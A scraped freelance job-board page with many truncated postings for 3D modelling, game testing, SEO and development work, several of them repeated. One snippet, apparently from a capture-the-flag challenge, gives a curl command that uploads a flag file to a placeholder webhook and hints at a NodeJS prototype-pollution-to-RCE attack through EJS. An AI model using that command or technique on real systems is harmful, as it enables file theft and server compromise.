Best 3d game engine jobs

I'm in need of a skilled game tester to assess the functionality of my PC action game. Key Responsibilities: - Conduct functionality testing: You will be required to play through the game, ensuring that all features work as intended. - Identify Bugs: Any bugs, glitches, or issues you encounter while playing need to be documented clearly. Ideal Skills and Experience: - Strong background in game testing: Preferably with experience in testing action games. - Knowledge of functionality testing: You should be familiar with the process of assessing the game features. - Excellent attention to detail: Able to spot even the smallest issues and accurately document them. This role would be perfect for a game tester with a keen eye for detail and a pas...

3D , as per we discussed in the chat.

I'm seeking an experienced and met...Furniture layout: An optimal furniture layout for a property with more than 4 bedrooms. This should consider the size and placement of each room, ensuring a balance between functionality and aesthetic appeal. the plan to include the following 1- living (15 person)+ dining area (10 chairs) 2- office room 3- meditation room (330x250cm) 4- Guest room 5- small gym (could be integrated with office) 6- Game Room 7- Theater/cinema room 8- Storage Ideal candidates should have: - Proven experience in creating detailed 2D plans for residential properties. - Proficiency in architectural or interior design software. - A keen eye for detail and the ability to create a practical, yet aesthetically pleasing layout. Looking forward to receiving ...

We are looking for a programmer to create the search engine for our magento 2.4.6 with Proto Theme website using Algolia search. The programmer has to implement the algolia search engine using his own code following the guidelines published by Aloglia to use it in the main page and in the search results page. It must include the following Filtering by attributes ( brands, specific attributes, color, etc) Keyword filtering Filtering by categories The search results should be displayed in a js block on the home page and in the search results. The theme used in magento 2.4.3 is "Fatest by codazon". Please only serious people, we don't want people who spend half as much time searching as doing the work on stackoverflow. Some examples of how we would like t...

Hello, Looking for someone to create video ads from a mobile game, you will need to play the game, get footage from and then give me 5 horizontal video and 5 vertical ads each video needs to be between 15-30 seconds long If you understand that you need to create everything from scratch and can do it in a short time frame please type GREEN at the beginning of your proposal. Proposals without it will be ignored.

I am searching for an expert , GSAP, and VanillaJS developer for an urgent 3D animation project. Specifically, the focus of this project is three-pronged: 1. Implementing my existing design: Although I already have a clear design concept of what I want, I will need you to translate this into code efficiently and effectively. 2. Emphasizing on speed and performance: It is critical to me that the 3D animations and visualizations developed don't just look good, but also perform well under a variety of conditions. 3. Creating a 3D animation: The primary purpose of the application being developed is 3D animation. I expect lifelike, smooth, and detailed animations. Below are the key traits that the ideal freelancer for this job would possess: - Extensive experi...

...friendly - Cross link where possible - Edit and insert images - Edit and insert galleries Key Requirements: - **Content Updates**: The main task is to update existing blog posts. This involves adding images, creating galleries, cross-linking between posts, and optimizing the content for SEO. - **SEO Optimization**: The primary goal of these updates is to improve our search engine ranking. Therefore, a solid understanding of SEO best practices, particularly in the context of WordPress, is crucial for this project. Ideal Freelancer: - **WordPress Expert**: A good understanding of WordPress CMS is a must for this project. - **SEO Specialist**: Experience in SEO is essential, particularly in the context of blog content. - **Previous Blog Update Experience**: Experience in u...

I'm in need of an experienced professional who can rig my 3D models and adjust some details in need (like texture, number of triangles...) for a game called Zepeto. The price will be 4$ for each model (price is negotiable). Key requirements include: - Expertise in rigging 3D models using Blender If you have a deep understanding of these areas, I'd be happy to discuss the project further with you.

I'm in the process of starting an enterprise and se...new business. It should be beautifully designed, user-friendly, and effectively present our business details, mission, and services. As for the SEO, emphasis is on technical aspects. Your job would entail ensuring the structure of our site is search-engine friendly and meets all backend requirements for optimal ranking. Ideal skills and experience: - Expert in website design, preferably with portfolio of business sites - Proficient in Technical SEO with a good understanding of backend website requirements for optimal search engine ranking Your proposal should include a brief outline of your design approach and your experience in technical SEO. I look forward to collaborating with you to boost the online p...

I'm in need of a Blender expert to create a product render for packaging design. The key details are: - The render should reflect moderate detail with textures. -...textures. - While specifics on the packaging shape are not provided, it should be noted that it could potentially be of an irregular shape. Your role would be to bring this packaging to life virtually, ensuring that it is visually appealing and suitable for packaging design purposes. Ideal candidates will be familiar with Blender's capabilities and have experience in creating detailed, textured 3D models. Strong visualization skills and a keen eye for design are a definite plus. If you're confident in your Blender skills and have a portfolio that showcases your ability to work on packaging designs, I...

...collectible model made entirely of metal. Key Requirements: - The model should be designed with gaming in mind, so a relevant and engaging theme would be essential. - The size constraint is important as the model needs to be small enough to be practical for gaming purposes. - The material of choice is metal, so experience in designing and creating metal models is a must. Ideal Skills: - Proficiency in 3D modeling tools. - A strong portfolio with prior experience in designing collectible models, especially in the gaming industry. - Experience in designing models for metal fabrication. Overall, I'm looking for a designer who can bring creativity, practicality, and a gaming-oriented approach to this project. Your design should be not only visually appealing but also suit...

we need a online casino dev can provide us the game on the list

I'm seeking a creative 3D design artist to produce a unique product design for a sketchbook. - The output should be a 3D model of the concept, compatible with Blender software. - No specific textures or materials are compulsory to use. Your creative liberty is welcomed in deciding what best fits the model design. - The final output should be detailed, realistic, and visually compelling. It should portray the sketchbook as a premium product. Ideal freelancers for this project should have: - Expertise in 3D modeling, specifically product designs - Proficiency in using Blender software - A creative mindset to ideate and select textures/materials that enhance the design - High regards for project deadlines and communication.

Storyboard of Rafiki (as discussed text but adding some reference sketch images too)

I'm looking for a skilled 3D modeler who can create a high-detail truck model for use in gaming. This truck is intended to be used in Euro Truck Simulator 2 game.

...existing business website. My main focus is to increase the website traffic. Key Points: - I need a professional who can identify and implement strategies to boost my website's visibility and attract more visitors. - I'm particularly interested in on-page and technical SEO services such as keyword optimization and site speed optimization. - The goal is to positively impact the website's search engine rankings and subsequently increase organic traffic. Ideal Skills and Experience: - Proven track record in SEO for existing businesses, particularly in increasing website traffic. - Expertise in on-page SEO, including keyword optimization and content quality improvement. - Proficiency in technical SEO, such as site speed optimization and mobile responsiveness. - Fam...

...you have the ability, we are willing to provide positions! What are you waiting for? Come to join us! Live broadcast job requirements: computer equipment and internet in English and Portuguese and cheerful the face live Live content:  casual games. During the live broadcast, introduce the game you are playing to the audience. We provide game accounts. You only need to play for two hours and tell the audience how to play the game. Live time: Live broadcast time: 7:00-10:00 in the morning or evening local time in Brazil, two hours of continuous broadcast every day. 4 days off a month. Live job salary: Fixed part: 2 hours of live broadcast every day, 15 US dollars per hour. Commission part: During the live broadcast, you will get a commission by down...

...User Experience: Design intuitive, user-friendly interfaces that provide an excellent user experience. Responsive Design: Ensure websites are fully responsive and optimized for various devices and screen sizes. Content Integration: Collaborate with our content team to integrate text, images, videos, and other media into the website seamlessly. SEO Optimization: Implement SEO best practices to improve search engine rankings and drive organic traffic. Testing and Maintenance: Conduct regular testing to identify and fix any issues, ensuring the website remains up-to-date and functional. Collaboration: Work closely with the marketing team, developers, and other stakeholders to understand project requirements and deliver high-quality results. Trend Monitoring: Stay updated wi...

I'm in need of a talente...designer who can create modern and eye-catching thumbnails for my YouTube gaming channel. Key Requirements: - Design: The ideal candidate should have experience in creating contemporary, professional-looking thumbnails for gaming content. - Flexibility: While I have some specific game titles or characters in mind, I'm also very open to suggestions for other popular or trending gaming themes that would work well on YouTube. - Understanding of YouTube: A familiarity with YouTube's content requirements and best practices for thumbnails would be an asset. - Communication: Clear and prompt communication is highly valued. If you think you can help me create thumbnails that will attract viewers to my channel, please bid on this projec...

I have a basic 2D floor plan design that I need to be modified to include some specific equipment. Key Tasks: - Add a factory equipment such as Forklift lathe racks machines etc to the floor plan Ideal Skills and Exper...need to be modified to include some specific equipment. Key Tasks: - Add a factory equipment such as Forklift lathe racks machines etc to the floor plan Ideal Skills and Experience: - Proficiency in AutoCAD - Previous experience in 2D drafting - Good understanding of floor plan design - Knowledge of equipment and machinery layout The modifications are purely 2D, so there is no requirement for 3D modeling. The primary purpose of these alterations is to assist with space planning and workflow optimization. Please include examples of similar work you've do...

I'm looking for a skilled 3D artist with a strong background in architectural design and visualization. The project focuses on renovating the exterior of a double story residential house on a steep angle. The house has ocean views from the North and West sides and hinterland views from West and South sides. Outputs required: - Exterior design and visual (in color) of (1) Western (street view), (2) Northern (ocean facing) and (3) Eastern (front door) elevations. No interior design required. - A visual (in color) of the Western side from street level is also required. The middle of the street is 18 meters from the current house, with the proposed addition of the pool and deck, this will reduce the distance to 14m. The street is 45m above sea level and the ground floor (floor / d...

I'm looking for an experienced Blender artist who can design a detailed dress for me. I need it to be high quality and visually engaging. The design needs to be precise and professional. Key Skills: - Proficiency in Blender - Experience in 3D modeling and design - Strong attention to detail - Ability to create professional-grade visual assets Your application should include: - Examples of your past work, preferably showcasing your experience in creating detailed 3D models, especially dresses - Your relevant experience in this field - Any detailed proposals you may have for this specific project

I need a skilled 3D artist who can transform a 2D photo of a couple into a 3D miniature. - The created miniature should be medium-sized, ranging between 4 to 8 inches. - Intricate details are vital for this project; thus, the artist should have advanced 3D modeling skills, capable of reproducing minor features evident in the original 2D photo. - Though the original image is colored, I want the 3D miniature to be in a single color only. Accordingly, a good understanding of shading and texture manipulation to replicate depth and feature details despite the lack of color diversity will be crucial. - The successful applicant should demonstrate experience in similar projects, emphasizing detail replication and the successful translation of 2D images into 3D...

Hi BEST SEO 4 RANKING, I noticed your profile and would like to offer you my project. We can discuss any details over chat.

...send / to your webhook. curl -F flag=@/ {webhook} To connect to the challenge go to hint 1: You can pollute NodeJS applications, Alex did a talk about it and the slides are available to read at where the important slides for this challenge are 17-53. hint2: The web application is using the EJS template engine for rendering templates. Alex talked about a Prototype Pollution gadget that could be exploited to get RCE when EJS renders a template, you should check the link to an article and read the last bit. https://docs.google.com/presentation/d/1Ae38Nv6mUntog3AIcI9m_IuBfoxBWoEsw7njI2x8EX0/edit#slide=id.g22e32f4d19a_0_16 hint3: The format of the payload is slightly different to the payload in the referenced

...mystery box space, I'm looking for a marketing agency that can help me reach a diverse audience and make my brand grow. I need expertise in SEO, social media marketing, influencer outreach, potentially PPC ads and the execution of weekly prize giveaways. Key requirements for this project include: - **SEO**: The selected agency should be skilled in optimizing my website and content to improve search engine rankings, drive organic traffic, and increase brand visibility. - **Social Media Marketing**: I need to build a strong presence on various platforms, including Instagram and YouTube. The agency should create engaging content, manage posts, and help me interact with users. - **Influencer Outreach**: The agency will be responsible for identifying and collaborating with influ...

I'm in need of a highly skilled CAD mechanical designer who can accurately develop a 3D and 2D design for a manufacturing machine. This design must include the following components: - Gears - Shafts - Bearings The machine's intended use is within a manufacturing environment and will be heavily involved in sheet metal forming processes. The ideal candidate will have proven experience in designing machines for similar applications, with a keen understanding and expertise in the mentioned components. Proficiency in using CAD software is a must for detailed and accurate designs.

...it we would need to process a realistic 3D model of the entire fair. The output should be a 3D model of the trade fair with advanced textures and should look realistic. We would need to make certain shots from the 3D model, which we will subsequently use for presentations and promotion of the event. It is therefore important for us both the visuals, but also the 3D model itself, with which we will subsequently work, e.g. if we want to make some changes in the layout, placement of elements. It is important that the dimensions according to the drawing are exactly preserved. We are able to supply a DWG file in CAD with the dimensions of the area in which the fair will be held. As part of the 3D design, we would like to model the lecture halls in 3D...

...craft a 3-hour movie script for an action-packed and thrilling adaptation of the popular video game "Mega Man". Ideally, I'm looking for a script that retains the core essence of the game but is open to some creative liberties. Key Requirements: - Create an engaging, 3-hour screenplay - Include intense action sequences, heroic battles against bosses, and characters with special abilities - Maintain the action-packed and thrilling tone throughout - Stay moderately close to the original video game storyline, while allowing for some creative freedom Ideal Skills and Experience: - Proven experience in scriptwriting, particularly for action-based movies - Strong understanding of the "Mega Man" game franchise and its characters ...

I need a skilled Node.js developer to implement specific changes to my existing color prediction game. Key Requirements: - Modify the game logic: Primarily, I want to change the scoring system. This will require a deep understanding of how the game currently operates and how to adjust it effectively. The new scoring system should enhance user engagement and retention. - Connect APIs from other websites: I need to integrate external services into the game, which will require knowledge of API integration processes. This integration should be seamless and reliable, and will play a crucial role in the game's overall functionality. - Implement JWT token for user authentication - Basic error fixing: There are some minor issues in the existing code that need to...

I'm looking for an experienced game developer to create a mobile adventure game. Key Requirements: - Develop a Mobile Game: The game should be specifically designed for mobile devices and optimized for various screen sizes. - Genre Expertise: Proficiency in adventure game development is crucial. Previous experience in creating adventure games for mobile platforms is highly desirable. - No Multiplayer: The game is intended to be a single-player experience. There's no need for online or local multiplayer functionality. Ideal Skills: - Proficient in Unity: Knowledge and experience with the Unity game engine to create engaging and smooth gameplay. - Strong Game Design Fundamentals: Ability to design engaging game...

I am looking for a skilled Unity developer for a long-term collaboration. The ideal candidate should have extensive experience in Unity game development, including proficiency in C# and a strong understanding of game design principles. Responsibilities will include developing and maintaining game features and troubleshooting issues. This is a great opportunity for someone passionate about game development and eager to work on exciting projects.

I'm looking for an engineer who can help me write some code for an Arduino to help me with a hardware project to read accelerometer data / gyroscope data. I have a piece of construction equipment that is supposed to vibrate up and down, however, if a customer assembles some attachments to it incorrectly it will vibrate up and down and side to side which will damage the equipment. I want to be able to read the accelerometer data to determine my customer has placed the attachment correctly and if it's incorrect I want to display a message on an LCD screen saying "incorrect placement" or something to that regard. I need help getting the hardware to work, creating the code for the hardware as Phase 1. Phase 2 is to allow this hardware to send a signal back to a comp...

I'm seeking a web developer who can help create a comprehensive website that reflects both game development and our vibrant gaming community. We're looking for someone with organizational skills as well as proficiency in both backend and frontend development. We already have a logotype and a banner for our organisation. The website shouldn’t be too complex, but also not too simple, an example: For the game development section, we need: - A portfolio section that highlights our previous projects - A section featuring the profiles of our development team - A blog for updates on our ongoing projects On the community side, we'd like: - An event calendar to keep our community informed about upcoming community-related events - A section featuring the pro...

...Optimization: Analyzing the current content, meta tags, and URL structure to enhance keyword targeting and improve search engine ranking. - Technical SEO: Reviewing technical aspects such as website speed, mobile-friendliness, and site architecture for optimization. - Backlink Analysis: Identifying and assessing the quality of existing backlinks and providing recommendations for improving backlink profile. Prioritized Pages: - Homepage: A thorough evaluation to ensure it's optimized for key search terms and user experience. - Product Pages: Individual assessment of these pages to enhance visibility and conversion rates. - Blog Section: Reviewing the blog content for SEO best practices, including keyword usage and internal linking. Specific SEO Techniques Used: - Key...

I'm on a search for a skilled Unity shader developer who specializes in the development shaders. I'm aiming to create special effects, particularly in the area of ultrasound echography simulation. *Task Requirements:* - Cross section of 3D model of a heart and display it like an ultrasound echography - link for better understanding Ideal skills include extensive knowledge in Unity, proficiency in shader language and a strong background in computer graphics, particularly in replicating ultrasound echography simulation. Understanding ultrasound physics and signaling will be an advantage, as well as mathematical proficiency to handle complex calculations to simulate the textures, effects and signals of an ultrasound echography

I'm looking for highly experienced and innovative professionals to design a Karate competition stage for a large indoor venue. The design should ideally account for a stage dimension of 12m x 12... Wanting to build a karate stage thats lightweight, strong, easy to assemble and that will last. The design needs to comply with Australian standards for structural engineering. Skilled 3D designers with a background in designing competition stages or sports facilities will be best suited for this project. Please, only bid if you can provide a portfolio of similar projects. Mindful planning of stage layout, capacity, visibility, and aesthetic appeals should be demonstrated. Knowledge of safety standards and compliance is of utmost importance. Let's create a stage t...

I'm in need of a seasoned Mechanical Engineer with specific expertise in heat transfer, fluid dynamics, and thermodynamic cycle analysis to assist in the development of a revolutionary solar thermal engine patent prototype. Key Requirements: - Conducting in-depth thermodynamic cycle analysis for the solar thermal engine. - Designing the engine layout and key components to optimize its performance. - Understanding and managing the behaviors of steam vapor and condensate. - Proficiency in analyzing fluid flow, power, and pressure drop. - Knowledge of steam hammer and heat pipe behavior for this application. - Experience with developing engines within the 1-5 kW power output range is essential. Ideal Skills: - Proficiency in CAD software, such as SolidWo...

PLEASE DO NOT USE AI OR CANVA!!! I'm seeking a logo for a horror-themed card game: HORRIPHY (make sure this word is the main focus of the design). The design should evoke 80s horror MOVIES: nostalgic, brightly-colored aesthetics... like an 80s horror poster (see attached examples). Should evoke horror MOVIES (think horror movie posters). NOTE: I will not choose any image I suspect is AI-generated! Any AI images that I haven't rejected are just up as reference (or because I haven't reviewed them yet). Key Elements: - Should incorporate horror-esque retro fonts and/or neon. - Should incorporate some horror movie iconography. - Should incorporate something in the background. - A mix of bright and dark colors is crucial, creating a balance between the era's bold, ...

...for a diligent freelancer to help in testing the gameplay balance of our latest PC game. The core focus of your responsibilities will be: - **Gameplay Testing:** Deep dive into the gameplay, ensuring the mechanics are engaging and balanced. - **Balance Issues Identification:** Critically analyze and report on gameplay balance. This involves playing through the levels, understanding the game mechanics, and identifying areas that feel too easy or too challenging. - **Feedback & Suggestions:** Provide constructive feedback on how to improve gameplay balance. Your insights will be invaluable in tuning game mechanics to enhance the player experience. **Ideal Skills and Experience:** - Proven experience in PC game testing, particularly gameplay aspects. - Kee...

...for a diligent freelancer to help in testing the gameplay balance of our latest PC game. The core focus of your responsibilities will be: - **Gameplay Testing:** Deep dive into the gameplay, ensuring the mechanics are engaging and balanced. - **Balance Issues Identification:** Critically analyze and report on gameplay balance. This involves playing through the levels, understanding the game mechanics, and identifying areas that feel too easy or too challenging. - **Feedback & Suggestions:** Provide constructive feedback on how to improve gameplay balance. Your insights will be invaluable in tuning game mechanics to enhance the player experience. **Ideal Skills and Experience:** - Proven experience in PC game testing, particularly gameplay aspects. - Kee...

I'm looking for a skilled scripter to bring to life some complex magic abilities for my game. The script should involve: - Ability Animations: Craft animations to show activation of these abilities. I prefer a realistic aesthetic to these animations. - Magic Abilities: Work on highly complex magic abilities. The completed work should reflect the complexity envisaged. - Camera Movement: The abilities should interact seamlessly with the game's camera movement. The ideal candidate needs to be highly experienced in game scripting and animation. Previous experience with magic abilities or similarly technically complex scripting will be a plus. Your knowledge and understanding of realistic animation are paramount for this project. I look forward to seeing your amazing...

...visually appealing manner Also ability to contact us. Key Requirements: - Stunning Design:Create visually stunning landing pages with modern design elements, including 3D graphics, to captivate visitors and leave a lasting impression. - Multilingual Support: Develop landing pages in both Arabic and English, accommodating both left-to-right and right-to-left reading orientations for a seamless user experience. - Variety of Designs:Generate three distinct design variations to provide variety and cater to different preferences, ensuring each design is modern, entertaining, and engaging. - SEO Optimization:Implement SEO best practices for both Arabic and English languages to enhance visibility and drive organic traffic to the landing pages. -Domain Integration: Link al...

I'm in need of a skilled Android app developer who can create a user-friendly app focused on providing information. This app will also be test...a skilled Android app developer who can create a user-friendly app focused on providing information. This app will also be tested by users, with a focus on quick game testing. Key Responsibilities: - Develop an Android app that is primarily focused on providing information - Ensure the app's user interface is intuitive and easy to navigate - Implement a game feature that can be tested quickly by users Ideal Candidate: - Prior experience with Android app development - Adept at creating user-friendly interfaces - Knowledge of game testing methodologies - Ability to create a seamless experience for users who will be t...

Seeking an artist to create a female manga character in a style reminiscent of Chrono Crusade's Rosette (for face). See the "Art_Request" attachment for example of what I want to receive for this request. I only need a front, back and side. Intention is to make a 3D model from this 2D art. I will be making the 3D model, just need the 2D manga art. No color. Just black and white inked drawing just like traditional manga. Female character 23 years old Outfit should be the same as shown in attached files Hair should be the same as shown in attached files

I'm in need of a skilled game tester to assess the functionality of my PC action game. Key Responsibilities: - Conduct functionality testing: You will be required to play through the game, ensuring that all features work as intended. - Identify Bugs: Any bugs, glitches, or issues you encounter while playing need to be documented clearly. Ideal Skills and Experience: - Strong background in game testing: Preferably with experience in testing action games. - Knowledge of functionality testing: You should be familiar with the process of assessing the game features. - Excellent attention to detail: Able to spot even the smallest issues and accurately document them. This role would be perfect for a game tester with a keen eye for detail and a pas...

...expert simulation developer to work on a Marvel Zombies Board Game. The primary goal for the simulation is to test the game balance. Key Responsibilities: - Create a simulation for the Marvel Zombies Board Game - Test the character abilities and game mechanics for game balance - This includes ensuring that no single character or game mechanic dominates the game - Provide clear and detailed feedback on the current state of the game balance Ideal Candidate: - Extensive experience as a simulation developer working on board games - Expertise in testing character abilities and game mechanics - Knowledge and understanding of the Marvel Zombies universe is a plus - Strong analytical skills and the ability to provide clear feed...

I'm in need of a skilled game tester to assess the functionality of my PC action game. Key Responsibilities: - Conduct functionality testing: You will be required to play through the game, ensuring that all features work as intended. - Identify Bugs: Any bugs, glitches, or issues you encounter while playing need to be documented clearly. Ideal Skills and Experience: - Strong background in game testing: Preferably with experience in testing action games. - Knowledge of functionality testing: You should be familiar with the process of assessing the game features. - Excellent attention to detail: Able to spot even the smallest issues and accurately document them. This role would be perfect for a game tester with a keen eye for detail and a pas...

I'm currently seeking a professional who excels in SEO and Facebook advertising. The scope of the project is primarily to increase our website traffic, improve our search engine rankings, and boost our brand's awareness. The focus of this campaign will be directed towards local customers within the healthcare industry. Skills & Experience Required: -Proficient with SEO tools & techniques -Experience with Facebook ad campaigns -Understanding of the healthcare industry -Experience in targeting local markets -Strategy development and execution for increasing brand awareness -Familiar with performance tracking and analytics.

I'm looking for a professional tester to ensure the smooth running and quality of my PC Action game. Key Responsibilities: - Primarily focus on bug and glitch finding. - Have steam account Ideal Skills: - Experienced in testing PC games specifically in the Action genre. - Skilled in debugging, diagnosing, and reporting issues.